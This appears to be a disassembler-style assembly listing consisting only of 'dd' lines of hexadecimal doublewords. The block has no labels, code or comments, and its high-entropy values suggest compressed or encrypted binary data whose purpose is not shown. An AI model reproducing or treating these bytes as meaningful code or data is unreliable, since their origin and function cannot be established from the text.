		dd 39037E00h, 349FCCCAh, 88DC01B1h, 0ABFEE48Ch,	92BE606Eh
		dd 0EE822E00h, 1793027Eh, 0ECA91428h, 4F008FD7h, 6D1F52FCh
		dd 0D306A2DFh, 0DC47048Bh, 0AC7C03E8h, 0F140C59Dh, 81E510D1h
		dd 0BE6F4F19h, 18F8DEF4h, 0B1520096h, 9A3BF70h,	5A0084A0h
		dd 0E7CA48A9h, 30D0F5h,	50972F98h, 6F7B28FDh, 2214F61Ch
		dd 0F2F863C7h, 86EC7AA0h, 90D324A4h, 8A07BE08h,	0C11B6410h
		dd 0F4C3429Ah, 0F0075B3Fh, 0EEFD6DC4h, 0F1D8C0BEh, 1E37E8Ah
		dd 0A6BF4167h, 24D2837Fh, 25F0E5FCh, 718D71C3h,	1884C0ACh
		dd 0B53F0004h, 874EB61Bh, 0ABFE82ADh, 3EE54600h, 2C476D52h
		dd 22E006A9h, 4A6FFF4Bh, 0F2F04A00h, 1B68ED7Ah,	450509C6h
		dd 2A074F9Bh, 28170D4h,	0D31F1444h, 90005DD5h, 0A7D223CEh
		dd 9F56079Ch, 30328FB0h, 0EA49D688h, 4DC65900h,	4147F684h
		dd 0C4B901A1h, 0EFB27A48h, 3D88243Ah, 7C27AA00h, 0FCE69E3Bh
		dd 245F006Dh, 4932B79Ch, 0D0C49FFDh, 5C808961h,	29AA9A0Ah
		dd 61B8B37Eh, 0FC2913ACh, 68744EBDh, 0AFFE7203h, 0E112DF7Dh
		dd 5064A523h, 141EE0FFh, 0B4EF779Ch, 0FE075CD4h, 0A7B629ECh
		dd 0C875B0E4h, 3503DC64h, 0C1668805h, 134000BCh, 0AA31D44Ah
		dd 5F0A9AB4h, 0BC65DFF8h, 93F9F81h, 0CE0FE88h, 0FD260A16h
		dd 80AC3DA8h, 0F687E30Ah, 10008B6Ah, 18241512h,	3BA9A19h
		dd 8128A3FEh, 58D0CE4Dh, 890E4654h, 7CDB760h, 0D0730F79h
		dd 0DB690091h, 220EDF0Bh, 88C0E10Ch, 7EEFFF10h,	2D401C7Ah
		dd 48490020h, 0C8AF369Eh, 845E663Ah, 6F877DB5h,	2A793880h
		dd 3E54FE05h, 128070ADh, 8930FEA2h, 58938AE4h, 0EB8CC490h
		dd 0B5388B31h, 2B007FE9h, 0ACF2976Dh, 0F679DA78h, 1474F7h
		dd 5815AD9Bh, 3825A870h, 67AFCC00h, 0DCC26A69h,	0B1FD00E6h
		dd 0D2CFD60Ah, 0BC020779h, 0F22A9471h, 0DE09407Dh, 605D129Ah
		dd 3A7470D0h, 3200899Bh, 0CA084772h, 1B5F1F7h, 535BDA4Ah
		dd 85314491h, 35885699h, 3F10E427h, 60963EC6h, 0BD11A1F6h
		dd 59596661h, 0FF58155Ch, 39DB02B4h, 0A04103C6h, 0AD4DA8DCh
		dd 26BA007Fh, 0F9018F9Eh, 6609CE3h, 0D3440568h,	244E3BC8h
		dd 455CE78Eh, 0EB4B660h, 84009D9Fh, 0F10A7881h,	0E80C1DEh
		dd 0CB420277h, 905BBEE4h, 99705F14h, 80318928h,	2AED9E03h
		dd 0E858C7F3h, 3334BD5Bh, 50D9FC13h, 81E0AA9Bh,	110B8E35h
		dd 25627DA2h, 0AC000930h, 0DA86465Dh, 442F0101h, 31C1FB21h
		dd 1033F7h, 0FD86347Eh,	0EBBA52h, 11361E15h, 304DD06Fh
		dd 7995C013h, 0D78ED460h, 185C90F7h, 0A981553Bh, 0D90A9B6Bh
		dd 0FC77BF36h, 0F68CDE00h, 7D7EE229h, 0A96B28C0h, 0B0B552FAh
		dd 51CFBC52h, 16E882E0h, 5324CBBDh, 860C67E7h, 996A85Ch
		dd 662F38FBh, 0F801C832h, 4005A29Fh, 40EA5C88h,	0C7AB2712h
		dd 75E37405h, 0ADF64C0h, 2D810198h, 0B6E59CC2h,	9630810Ch
		dd 0E49AF2C7h, 4D86A8Fh, 3AF1403Fh, 0CE1DB00Eh,	0CF2B1C00h
		dd 77DD3DB7h, 6AE9864h,	0A7AFD82Ch, 6B04A239h, 3A0CF57Fh
		dd 1BE50C87h, 0C46AEB00h, 6E9467h, 84A770F9h, 0CB46A258h
		dd 28981B50h, 0D19CE700h, 23ED1F4Ch, 0DD72E1h, 2CB0B682h
		dd 0A64A93BDh, 0F281C900h, 2F4BD9F4h, 0FF54006Dh, 3801567h
		dd 24CED19h, 0BFA301B8h, 0AF2C23A4h, 0FF70F8h, 0D73DA2BAh
		dd 75B0CF60h, 0E7975B1Dh, 37CCF500h, 117A42Eh, 8216FBA7h
		dd 741CBDD6h, 9CA4654Ch
		dd 109224F0h, 679B6800h, 0E69878E5h, 1C49FCF1h,	0CE0735D6h
		dd 50929654h, 0FA00DE70h, 7D12400Ch, 290E9E4Ch,	6098013Bh
		dd 9B7C543Ah, 0D146009Ch, 8085CA0Ch, 72006FAAh,	0A790E353h
		dd 30420ACh, 325D82EDh,	57F0B05Ah, 97009AE9h, 3C84EE33h
		dd 225F2Eh, 2B4DE61Dh, 0DC685DC1h, 4772509h, 0D6F4279Dh
		dd 6C167290h, 0CCDF26A5h, 9C9658h, 0B91C0DB0h, 448A91Dh
		dd 0B55B0000h, 857A0133h, 690E24EFh, 93EA8324h,	23889A8Ch
		dd 0AE006031h, 45B94666h, 26504C78h, 0D85503h, 90F29F1Eh
		dd 14148404h, 0A4F802h,	4427E458h, 1319A7A8h, 4089A253h
		dd 67182110h, 3000EE73h, 57B10E22h, 23FCA9Eh, 409BCDF5h
		dd 0B0505BD1h, 77ACD407h, 0A380791Bh, 1F98746Eh, 3FC28D9h
		dd 0BD3BA9E2h, 428B46A8h, 7A34FA00h, 3258A654h,	0E45C1FC0h
		dd 4A120291h, 78C42526h, 1B069D04h, 80650C99h, 355D8E2Ch
		dd 0B5479216h, 6A274000h, 0FC3BAA9Bh, 96D200F2h, 0C2F0888Bh
		dd 0CF586385h, 34986384h, 0C70C8972h, 31C2B450h, 6DAA2C7Fh
		dd 0F663C00Ch, 0D7F55BDh, 3F8C658h, 9139B26Ah, 7F0890E9h
		dd 0CF010462h, 801B3CCCh, 0AC6BE759h, 0F0B2A97Dh, 96161200h
		dd 8CBD525Ah, 6ACE04B6h, 0C00682D3h, 3C694E24h,	0B3A6DF00h
		dd 86FAA59Ah, 0A2B70108h, 0ABD6309Dh, 565F8E4h,	2E399700h
		dd 4A2189A7h, 889D0AA3h, 1DDCFA3Bh, 36C8C0E1h, 1D5444D9h
		dd 0DCF4F901h, 26AA17D3h, 9D80AC72h, 7DF02865h,	8BD6563Ah
		dd 0A9AFCAE6h, 132C80CCh, 0C30F9Dh, 4DC8CC26h, 0B7116E29h
		dd 0CF7053E8h, 5FCB0701h, 14662EDDh, 213C024h, 69FE2AADh
		dd 0B0C43153h, 88611000h, 6481CC77h, 3D209836h,	205C82F9h
		dd 9A16B200h, 0B02E3129h, 0B5005490h, 0EA0209C0h, 23DD0Ch
		dd 9C384812h, 0F85E411h, 5300E277h, 71C8505Bh, 0FDD4BAh
		dd 5CF3F8D7h, 9C95EA6Fh, 15D05E1Dh, 85C74Bh, 0D2E2D1D4h
		dd 0DF4200B1h, 1E36BF4Fh, 72071D4Eh, 30CEFF9Ch,	6990003Bh
		dd 38B2221h, 0B459144Ah, 70A0314Ch, 0DD006EBFh,	0A3080485h
		dd 0A8EB4E5Ah, 50164AA4h, 4963DCA7h, 9E181814h,	668FE905h
		dd 1D595107h, 0A1C0AF50h, 92F48118h, 5D7B30D4h,	0E13A3D28h
		dd 0FA46B502h, 606613C4h, 9D9C92h, 0D32651F9h, 0E1413E29h
		dd 3F9E4B07h, 19E032C2h, 8FB803h, 5A985851h, 42B2C33Bh
		dd 0ED28E90Fh, 5580FE21h, 0EFD56990h, 0CC90A6h,	0E77FBB06h
		dd 270D4377h, 8F019371h, 1F951825h, 0BEC02813h,	0F4B20063h
		dd 2C5BE951h, 370015C0h, 0EDE83CFFh, 3DF3AA8Eh,	4100D59Eh
		dd 8F73DCD2h, 22E8C780h, 7C0C24Dh, 32A8EDA3h, 0CC6880BBh
		dd 58693C34h, 0F101103Fh, 0C3EA914Eh, 66EBFCB8h, 2A22DB00h
		dd 0AF4C5C72h, 0BCAC0075h, 0BD38BE9Ch, 2801350Ch, 83123694h
		dd 3870083Dh, 0C9D8007Dh, 4CE4151Ch, 9A00B2B7h,	97AFBE50h
		dd 340B43Bh, 326A49F1h,	0B2B84FC1h, 0CA00564Bh,	0FB2CF9E3h
		dd 1D4E5722h, 0C0BF9BFFh, 5E55DE64h, 0F50E6712h, 60B0549Ch
		dd 61533DE1h, 59C0005Ah, 85C9FC5Bh, 4200CE34h, 1E939170h
		dd 1E1B687Fh, 80F1522Fh, 2CD1B8FBh, 9C00B6F2h, 0FD110AB9h
		dd 24808E74h, 0C57991h,	0F7932C97h, 0A600882Fh,	0D424CF70h
		dd 0B91913h, 57E44CBAh,	5DDFCACDh, 0CC0E6600h, 180A3D89h
		dd 0A4860EA2h, 0D9C17DD4h, 607448E6h, 0B30034FCh, 6A71097Bh
		dd 55CEDAFh, 50C660A3h,	0D23C8201h, 29ADC4E0h, 8F19500h
		dd 180BFCA4h, 1F31003Ch, 8CC7376Dh, 0C5070F04h,	8F70340Ah
		dd 0CC539B80h, 0CF5200C2h, 3A9247B4h, 4E0022E5h, 21D2B1ADh
		dd 3A360FAh, 0AEA7E3ECh, 490E73Ch, 0A92F66BAh, 0F8C56307h
		dd 93951Ch, 6E16BD59h, 0AE3E7EB2h, 751E101Dh, 1FA70880h
		dd 0ABFB32h, 0E84A5E39h, 0E4690FF4h, 0A0005298h, 0D5650D82h
		dd 0EECF3E01h, 0B92D009Eh, 6DE2FA7Fh, 7E009CA8h, 0BE086758h
		dd 49677E6h, 2880220Fh,	20B8A054h, 1D95D5A0h, 8F2D4E7h
		dd 7E777600h, 43E8077Ah, 0DDD700EAh, 0C8D062EFh, 0D2E0615Fh
		dd 0C5ED7101h, 367CC2F3h, 3A089060h, 0BD8C5628h, 3E886A51h
		dd 0AC01BC75h, 8D5E154Dh, 28289041h, 63666500h,	0E1A30671h
		dd 95D0760Eh, 0C9BDA219h, 0D9B0816Ch, 0DACC6D21h, 0DFF8006Fh
		dd 4E8E717Eh, 0B3002806h, 0E8E73D2Eh, 0B60E38A3h, 0F0808248h
		dd 51E09308h, 90001B1h,	0BC72DD95h, 0E24DDFh, 54ADFC2Eh
		dd 675D120Ah, 0F2A98F00h, 7B0C9D27h, 716C008Dh,	701A23Ch
		dd 0D0E4B0D5h, 0DEE42650h, 0A901A798h, 5147813Ah, 64F05CFFh
		dd 7E9855h, 60353FAAh, 0A11B8F03h, 1EB81400h, 0D84ADED1h
		dd 0B10B00B7h, 95E09272h, 3F2C99A2h, 521DD0B5h,	90F09C00h
		dd 5FD02Dh, 55E7D8E8h, 4A8EBDEFh, 8501A578h, 262DD9EEh
		dd 0E9D4B50Ah, 0D2F40030h, 0E515BD7Eh, 0B6A1ED92h, 802EC88Ch
		dd 0B70030E4h, 8ECFA00Fh, 1209A5h, 0CE2A51EAh, 3D0444B6h
		dd 0BB008170h, 1ED6E098h, 262E705Dh, 3D7164h, 0C5F5DA60h
		dd 0A8004286h, 8024D18Ah, 0BA44B9h, 4FAA6716h, 14DFE36h
		dd 72A5931Eh, 0DDC72D40h, 0EB7637h, 5EEE60B2h, 97D102E4h
		dd 666F839h, 8C1B265Ch,	9C91004Ah, 0C546ACBh, 0D5008D67h
		dd 52428188h, 0B6D161h,	0D333201Eh, 7B1A9728h, 0B54E3409h
		dd 1F1C0064h, 0B04C81EFh, 48F4E28h, 0C7BFD744h,	8906B00Ch
		dd 0AF00945Bh, 4B695957h, 90A7CC5h, 9F0AA6Fh, 299F4201h
		dd 0E812C06Ch, 93D9D705h, 0D093F4C9h, 0B621A06Fh, 0C1DB0088h
		dd 54BF3858h, 0A31CAEA8h, 135D9AD4h, 0F8F98B81h, 7CECF10Bh
		dd 82844CA0h, 0B7C84900h, 0E73E993Dh, 74CA87Ah,	9C682E79h
		dd 58946D00h, 0BCCE9611h, 256F8054h, 0EBF80ABCh, 557EE403h
		dd 0C50F702Ah, 7221008h, 6EE4EAD0h, 1788EC01h, 24687012h
		dd 35280878h, 5500180Ch, 0B6485CC9h, 0F09FEDDCh, 73D906ECh
		dd 20B57DCEh, 305AB132h, 1F7078EBh, 0D64CD2F7h,	0E9400C1h
		dd 3E2282EAh, 64DA920Ch, 0FD59D4h, 4BAD7006h, 577356C8h
		dd 0E5CB5300h, 8A527766h, 0B871A3h, 0BCD16F8Eh,	0F71B9F04h
		dd 561F0800h, 0F4EFCF3Dh, 0F5B903D4h, 845085C1h, 0FBF911C0h
		dd 13F1F601h, 8CC4EEBFh, 0D1FFF86Ch, 6FA0BF04h,	0F8014177h
		dd 0E2FD9FEFh, 0D4241F3Ah, 0E43F1781h, 5280D069h, 0BB6077F3h
		dd 0C20C1639h, 6CC40738h, 70B74ABAh, 0A2AFC9F0h, 0EDA97A18h
		dd 0A326E228h, 0CD78E138h, 20EF7992h, 0D89601C4h, 44F4209h
		dd 1F34C00Eh, 1E513CF3h, 0E639375Ch, 8E6BF900h,	0EE7250E9h
		dd 1BC52200h, 0E5D6CD1Eh, 0D54E3C4Bh, 3B733407h, 9FFCF16h
		dd 9450DCB4h, 3C2133Ch,	518783D7h, 0DB4DF8B1h, 857F0015h
		dd 0F36CB3C9h, 0D0F7E5A3h, 99DFB660h, 0E075DC03h, 361000EEh
		dd 0DE05BE7Eh, 11CB02Ch, 3040B5D6h, 6485DDE0h, 0A2B60C0Fh
		dd 8731C37Dh, 9D0E7BFAh, 8181BFE3h, 3822DDD2h, 81461FEh
		dd 0DCD0E983h, 790B6A0h, 19798123h, 0C0483B00h,	2E3E4F4Eh
		dd 0FCDE0131h, 7AB5A264h, 17DC4874h, 43DCE30Fh,	0F8E56012h
		dd 0E9EED270h, 8A05783Dh, 801ADCECh, 0BF1B7781h, 47AB8902h
		dd 5445EDE3h, 0D9C48174h, 0E493D66Eh, 9D50AFEEh, 0E4030C98h
		dd 65CD2B08h, 69F2C0D9h, 0A6C801CEh, 20B4D7FBh,	7C4180FFh
		dd 6CF8DD5Bh, 78150E30h, 9F419979h, 50A7E8FAh, 0AD9D0A4h
		dd 0A2622802h, 606DEAC7h, 45F50F6h, 0CDDAFC90h,	0C110909Ch
		dd 0E3143844h, 2A942022h
		dd 0B560980Ch, 354B4AB1h, 867458h, 89ED366Ch, 8481DEF8h
		dd 6B348D00h, 8B3B0EC4h, 0B6F73E0Dh, 7009560Eh,	6ECC1600h
		dd 0CE009D9Ch, 0F5D4B331h, 14F691B6h, 68F3DFF9h, 30805C3Bh
		dd 0B8B95583h, 18927EC5h, 2F211867h, 0C77030A7h, 7995FC32h
		dd 7BFA00E7h, 0EDA7E086h, 360068DFh, 15BA27D5h,	163B359h
		dd 0DB4C241Ah, 510922B4h, 570475FCh, 0AFE390D4h, 700AA93h
		dd 57C09CBDh, 2E88E78h,	0E1EA7D5Ah, 0C28491BFh,	0D84C89EEh
		dd 0A2002165h, 0AEA94468h, 24F8CCAFh, 6E64609Ah, 66780692h
		dd 749A08DCh, 0B2DF142Eh, 0D1D5040Ch, 0C7E903FDh, 5565361h
		dd 4CA02483h, 0F400B4E3h, 4A71EDB6h, 97FA6D3Ah,	0F24D6C02h
		dd 8AF5418h, 59B726DEh,	75401764h, 0CBE5AF7Ch, 0B9864300h
		dd 0E1316B55h, 2092456Eh, 0B422E030h, 98A14845h, 10A02714h
		dd 99037C00h, 4D9644Ch,	0FA2ACB0Ah, 0E1C0D8E5h,	0E4556930h
		dd 0C5486B1h, 87003DB4h, 49FEF229h, 19A81EEh, 0F5B32D79h
		dd 809406D6h, 0BD180A69h, 0EBD4A5h, 0CC6EA3A6h,	494F6D36h
		dd 9FE9E612h, 1A3141Fh,	55672FB3h, 273C48D9h, 803B21CFh
		dd 73FABE30h, 0E9650F6Eh, 78E08751h, 9C7B973Dh,	111528F6h
		dd 0A88C75h, 0D596BAD8h, 592E01h, 0F228D99Ch, 0E512799Dh
		dd 63178D02h, 44EEC47Ah, 0B6BC01ACh, 938F4E47h,	9403D429h
		dd 0E0507929h, 0C424B8A4h, 119E6F62h, 40C0870h,	8C2F3C3Bh
		dd 0F1C0CCB5h, 9C760500h, 98C86FD7h, 0AB2500C0h, 0F8145F8Fh
		dd 0B5151518h, 5860CB03h, 621D0079h, 4830D79Ah,	233B0C0Fh
		dd 7A88F701h, 0EF71216Fh, 0C4891806h, 24E739DBh, 5759CC00h
		dd 0C3939BAFh, 0A4D47448h, 4880ACACh, 962F67F9h, 90BEC501h
		dd 0B6B96B93h, 9EB5E0h,	3610539Bh, 9A33E39Ch, 0CF1E69C1h
		dd 9C502CEEh, 2BC0195h,	5E173297h, 5CC0C770h, 6E01884Fh
		dd 2DD2B263h, 0D9E46C37h, 4AA180F8h, 0AEA43628h, 0D806DB2Eh
		dd 0B36B4740h, 0CB70001Dh, 61346A05h, 29792BC8h, 0D10B99F0h
		dd 4ED939Ah, 0A540E324h, 65092876h, 4B271F00h, 828D7F77h
		dd 739A24C1h, 7BE500D8h, 9FB5F585h, 43A9F004h, 8829210h
		dd 50B0405Fh, 0EECC181Eh, 4226D1B4h, 0FE479B0Fh, 3D5C8048h
		dd 2822DB72h, 90B81E15h, 419A0908h, 0C829EB8h, 800969E0h
		dd 15CD3E98h, 90B49A24h, 3CE42434h, 0BF114C14h,	0E364831Dh
		dd 9B213122h, 30EDA221h, 0EE2CF87Dh, 74A684DCh,	0CF38307h
		dd 60CDA1ECh, 5DAF3195h, 4B070398h, 9449093Ah, 534C5140h
		dd 14F648FFh, 0E445793Ah, 0DB2E4F69h, 0A9034CBEh, 0F4D95F53h
		dd 79E1A100h, 990315DDh, 0ED7FEEFFh, 56A6F085h,	0B5732E4Ah
		dd 79B30944h, 0C5756810h, 0FF3FC0A8h, 3E89C71Fh, 30693CC1h
		dd 0B1CBAD37h, 346472CDh, 69F16E04h, 0CA583B00h, 0B400245Eh
		dd 8512E18Fh, 339BD0EBh, 0BF31F907h, 0E5DB2093h, 0B1892CF0h
		dd 0CE00A9EAh, 1687D7E3h, 0B072777Fh, 0E0A397FCh, 33E07315h
		dd 50719214h, 0AD044B1h, 0DB0686F8h, 0CE085058h, 1DE61D89h
		dd 573BC038h, 0B81B0C09h, 0A1815509h, 8148D94Ch, 26E1AF69h
		dd 882B185Fh, 0AF7791B0h, 1A463D1Ah, 8C747428h,	7DA1D704h
		dd 580C3B00h, 8898D934h, 3DDE05D8h, 40A67580h, 4E7750FCh
		dd 23005EE2h, 924005D9h, 78542718h, 0A151C0C1h,	0D1087966h
		dd 0B50A117Fh, 545639CAh, 4C626F09h, 3948654Ch,	8298004Bh
		dd 0EF9AA3A2h, 0D2F8BC50h, 797E220Fh, 0CFBC01Bh, 98993B98h
		dd 0BB4B096Ch, 0DC27C8F4h, 0EB388CDFh, 714D10EDh, 0AED61E93h
		dd 8DF05D5h, 5224036Eh,	0C0CC6699h, 38078364h, 18918C29h
		dd 58A56900h, 27212E67h, 0C880CDC5h, 7D61C17Bh,	97BD1900h
		dd 0B07AE239h, 0A2450093h, 0E97BE8B4h, 962E8678h, 0E17ACBCh
		dd 68003FE8h, 0DC36E1C0h, 0D4049E04h, 0FA2B700Ch, 28919083h
		dd 0C09227B8h, 7ABC94B8h, 9CA1E0D5h, 0A00710F0h, 0F98A24BBh
		dd 876C43D4h, 0BEE21000h, 0A981EF91h, 0AB7D0041h, 0ED1511FAh
		dd 340E5B57h, 0E3A57627h, 3ECB749Fh, 0F6011951h, 6BD40DEEh
		dd 0D0E0E687h, 0C0650671h, 0B0176DB8h, 0DCD24C30h, 42110866h
		dd 1A44F9B4h, 0DCDEB540h, 8D13C6B7h, 8C207454h,	389C4820h
		dd 7FBDC95Bh, 0AF2FB187h, 6A8B10BEh, 4D283A55h,	0E0FCD8A7h
		dd 80F0796Ch, 8AD717FFh, 8FFC09FCh, 79CA24A0h, 20D05532h
		dd 28D7044Ch, 28913D26h, 402D11F3h, 7D776D06h, 9D0518F4h
		dd 5D474C53h, 0FC73F802h, 815051C4h, 22D93842h,	88D01810h
		dd 35094960h, 937418D8h, 73248838h, 1DA80731h, 812F50E3h
		dd 3018C3B8h, 697881E4h, 4ED7A8C0h, 60EC576Ch, 788799B3h
		dd 4939207Dh, 0E75B807Ch, 0AE117FE2h, 79F7EC4Bh, 0A85A6269h
		dd 1E40A367h, 0D4BAF0C1h, 81ED4E21h, 26DFAF83h,	402C3F8Fh
		dd 0BF4B00AAh, 61793023h, 0ECA45CAEh, 4189F21Fh, 0F6825064h
		dd 6045A8F3h, 966EA0h, 0E10363F8h, 0A20ACC5Ah, 33C6C000h
		dd 181A5882h, 6CDB031Bh, 93D85297h, 0E96032EAh,	9000E601h
		dd 57184572h, 874384h, 0AD736FFAh, 0B0176B1Eh, 71D9500h
		dd 131FBAC1h, 0A570009Dh, 0B19B080Fh, 0F7003754h, 0AC8FCEF1h
		dd 5C8612h, 41746002h, 420D2C73h, 28361E00h, 308A954Ch
		dd 6BA10044h, 8B2761A8h, 4A07CE58h, 5C1B452Eh, 8922EE70h
		dd 2A74E6h, 1A83D904h, 323AA598h, 8CEBBD07h, 9EDFE7BEh
		dd 9CD8AC40h, 8ADCABh, 0B67F3C80h, 2FF8EBD0h, 85784AF8h
		dd 0F9785F7Ch, 0C3E8081Ch, 0FE128F80h, 745AA5D9h, 38A901ABh
		dd 3A8E910Dh, 8B9CF003h, 502F3030h, 0F884C12Bh,	266F01FEh
		dd 0A53165F2h, 53E6C88Ch, 6EC7803h, 16B7CB6h, 33771318h
		dd 0F3F83C90h, 32C0BDAAh, 0A4F03A5Fh, 591A2618h, 0ACCA28h
		dd 483BA999h, 5EB6D607h, 0B9C718C3h, 0A0D868D7h, 85B6004h
		dd 7207A44Ah, 0B68B3FC1h, 97061A33h, 0B0FAFCC0h, 0A64E3127h
		dd 0F440B548h, 5B14BB0Ah, 0C8C8B4Dh, 30167046h,	39E7F80Eh
		dd 0B580B882h, 0C2E0A247h, 67EE8323h, 32ADDE02h, 812672F8h
		dd 0CAAFBD28h, 0C0D91994h, 8B99FD30h, 3E612A15h, 7604B2A9h
		dd 0F8B16058h, 9B701C6h, 27AF06FCh, 13598266h, 8AC4B67h
		dd 6F2E0090h, 8EE98363h, 0B2B9620Ah, 2B024877h,	91813AA7h
		dd 8458267Ch, 793B6F4Ch, 5A461DDFh, 84041817h, 0BB620F4h
		dd 208923Dh, 27B138E6h,	4884A518h, 3008683Ah, 0B94958BBh
		dd 0EF61FE74h, 0DCAD3939h, 0E056F443h, 3003AFB8h, 8813514h
		dd 31195215h, 8C31F1B6h, 36384C4h, 809269B2h, 59392DC3h
		dd 1F1C50F9h, 0D8CBBB01h, 994FB2C2h, 54729981h,	80E5873Ah
		dd 3E649A11h, 1D27318Ch, 0AA880665h, 143BE2BCh,	0F42F6B05h
		dd 0FDC0D800h, 0E99C102Bh, 800C99F0h, 116E7739h, 85330BB8h
		dd 8D0065FFh, 0E825EB81h, 41347751h, 10A52330h,	64D74B2h
		dd 0DE82C3B3h, 78C719EBh, 774244A9h, 1800482Eh,	57CC1B2Bh
		dd 8BA39910h, 9342A10Fh, 0A99B64CAh, 0C308BC80h, 84175032h
		dd 0A4233A79h, 3DF4813Fh, 287C0B5h, 31747E42h, 9560723Ah
		dd 0F1405861h, 0F8B45196h, 5403368h, 35E99BB8h,	206ED624h
		dd 0ABAC380h, 49E7F41Ah, 50CC87Eh, 2217D88h, 101454ABh
		dd 22BC7B53h, 6386138Dh, 0B550062Fh, 1A184082h,	0C5309CBEh
		dd 4A2724AEh, 77BF8180h, 113D8266h, 0C409FACh, 883A607Eh
		dd 30849EA7h, 0D230806Eh, 56035B85h, 82541C1Dh,	0C4E0D729h
		dd 0B1D776h, 778394E7h
		dd 24E61945h, 0D4B4C503h, 0A0BD74FBh, 0C1FD41h,	0CD27E573h
		dd 9AC93DC2h, 9CB5DE02h, 41E7A51Ah, 0F18F791Ch,	9A09F7A3h
		dd 4B8E810h, 80652B15h,	0A522E8h, 4A7F4F17h, 3E830EBBh
		dd 0B4212624h, 72391D3Bh, 5F8FA466h, 908009A3h,	48445874h
		dd 5401CAE0h, 0A10DC04h, 0C5508125h, 0AE285CA4h, 481AAC30h
		dd 8F0E4492h, 87E0FB5Ah, 0B02026B3h, 4E381E03h,	0CBCB8369h
		dd 0F959001Ch, 0B0107ABFh, 0F11C5EA0h, 30BAD758h, 97AC21A1h
		dd 93B2007Ah, 5776ED2Bh, 2C22E442h, 99480315h, 0AB09FCEFh
		dd 7D015405h, 0C800D643h, 0A52E34A0h, 5CFE13F0h, 5A3C212Bh
		dd 0BCBEC80Ah, 978D9E03h, 0A38A3767h, 0FB210020h, 346B5B47h
		dd 0E2B8D286h, 9489FA07h, 0A9410EC6h, 0A0D6473Ah, 0E063D9ACh
		dd 0A5E01C3h, 20852F2h,	780898FAh, 0C9E671h, 169C13B9h
		dd 0EC3DDF83h, 43409202h, 408F27F8h, 0B01C1439h, 68057764h
		dd 7AC59A6h, 0A486A3E9h, 0D0D4D794h, 0F64F69E8h, 18337200h
		dd 8D79A525h, 0C7C80138h, 2B178BC2h, 0BEC98F3Dh, 0A7A94FC1h
		dd 57B7B146h, 3003AF05h, 2402BC8Ch, 82CD559h, 1C3CCEEDh
		dd 0C3063027h, 9808D0h,	0CB7A7DFEh, 0A3437209h,	2CED912Ch
		dd 0D177B684h, 0E00E2083h, 0A62714h, 0BCCCB53Ch, 7E3E848Fh
		dd 2303449h, 0B1C907AEh, 0F4209C6Fh, 7E028C4Eh,	4AD789E2h
		dd 0EBC8253h, 0C4C31911h, 0FA460A5Fh, 0F7FE7F22h, 0FF30B907h
		dd 0A680E8B8h, 385CD5F3h, 65018C94h, 0AEC2B333h, 144AE6FFh
		dd 0FC6F1061h, 8CA8F6BDh, 0D22C4698h, 1A0748BBh, 0C530058Dh
		dd 0B8EE8529h, 0F4BC135Ch, 9A740843h, 8C24F4B9h, 0BE607025h
		dd 46B0D57Ah, 0A022A8h,	3E7A95EFh, 68992190h, 0BA8C1B0Ch
		dd 632B81FFh, 1A93292Fh, 0FA161DB8h, 0B8116D30h, 801B3F21h
		dd 5B522575h, 0C87850FCh, 0D6392C43h, 3EBCBA04h, 200B328Ah
		dd 0E55A0CA7h, 339E461Eh, 0A9148412h, 8C54E874h, 5E1EDCA0h
		dd 74233E05h, 0EC0E67F9h, 0AC119312h, 28220168h, 0B60CD24Eh
		dd 0D8200FEDh, 0A0D54CE3h, 47EF4609h, 0CD818000h, 0BE0C331Ch
		dd 0B11A2708h, 68ED0367h, 0A535FFD1h, 1C8420D5h, 5B21CC81h
		dd 2B8E88E7h, 0BC271067h, 5626E14h, 5A0D0120h, 0B0F10029h
		dd 0EBC8066Bh, 0CC632A70h, 0D93BE321h, 0D3F8518Eh, 349D0F5Fh
		dd 0E84FF3E5h, 0BD409ECEh, 19E66E50h, 0C8467498h, 317ABA07h
		dd 315BB4B1h, 0AB0084CEh, 12017AB2h, 79693019h,	3075831Eh
		dd 3048C402h, 5D10B91Dh, 0E5E0EA0Ah, 2B00C48Eh,	59383EE0h
		dd 265D4C29h, 3CD08BADh, 0F83FBA00h, 0FBA003B9h, 4614DD00h
		dd 325D117Eh, 0A2A12EF5h, 106C29A4h, 0DC2ED245h, 8038A223h
		dd 1FB0A754h, 225665A8h, 0BEFC9B26h, 0FBF80E00h, 9829E0C2h
		dd 434C007Eh, 0FF76A3E5h, 0DF142FCCh, 0D2F0A4A5h, 0CC23E43Ah
		dd 48B4DA02h, 9DA0923Eh, 807B116Ch, 863A6581h, 97022445h
		dd 0E08E09C0h, 0BE8C9401h, 7ED824F9h, 0FE40711Dh, 10C9FA03h
		dd 5093A2AFh, 250E1254h, 0A2700027h, 15C85270h,	926B291Dh
		dd 682F0480h, 3FABD76h,	49F85781h, 0EBC0BB4Bh, 0A804E8CAh
		dd 69F5B7AEh, 7F1354C0h, 587760F7h, 2BBE4C92h, 0DC103600h
		dd 2E08178Ah, 545C4C8Bh, 1A3E71Eh, 0B9469D66h, 0DAF86049h
		dd 4EB3444h, 21DFB10Bh,	22FCD093h, 0CA0EB3A0h, 0D5B1781h
		dd 6860D8F2h, 74B972h, 36742DFEh, 8901E9A5h, 0AFBABB64h
		dd 2093729Eh, 0EE805D9h, 4E203C4Ah, 0BDECE021h,	0EF702C01h
		dd 368EE7EBh, 1177E0A0h, 2FB330C4h, 0AFAE80F1h,	1A0CAC15h
		dd 0C5BCF8h, 0D0CA99B8h, 283CC309h, 8B0A84B0h, 0D85533AEh
		dd 110D5831h, 0B908C60Ch, 0C4020BB8h, 8FE4407Eh, 0E0564C4h
		dd 0BB311DA5h, 6CB29340h, 83E8825Ch, 5EF83D02h,	81FD4A26h
		dd 0D9979AC8h, 507CF82Ch, 4AC6107Fh, 20A45A64h,	0B808CB7h
		dd 0B6D85562h, 50636CB0h, 2C43C948h, 0BB04D539h, 328A36BCh
		dd 0EFA20CEh, 0B206525Ah, 0B6D6D8B3h, 50C49099h, 14B590CAh
		dd 98095A26h, 82CC40h, 0BBF5DFFBh, 403A4847h, 0E800F475h
		dd 0CDC44CC6h, 3FA341Bh, 0A43B4F76h, 0B4C83118h, 8D0F9FC1h
		dd 0C08B2AE6h, 30955BD6h, 0B5CB004Fh, 7747509Ah, 3E0F5857h
		dd 60936C25h, 5F2AF8B1h, 0ACF90009h, 58D378D9h,	0C3004D42h
		dd 9FBBCD12h, 7F8046h, 0A64C1963h, 0D5AF1D88h, 0DA7E3C00h
		dd 969AC450h, 0DFFD02CBh, 1210A6F3h, 193F81E0h,	7C37F803h
